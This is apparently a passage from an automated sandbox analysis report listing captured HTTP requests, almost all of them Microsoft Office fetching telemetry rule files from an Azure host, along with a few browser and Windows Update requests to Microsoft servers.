Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZuLVKpZ2SH8G6f3&MD=MS8COkYs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
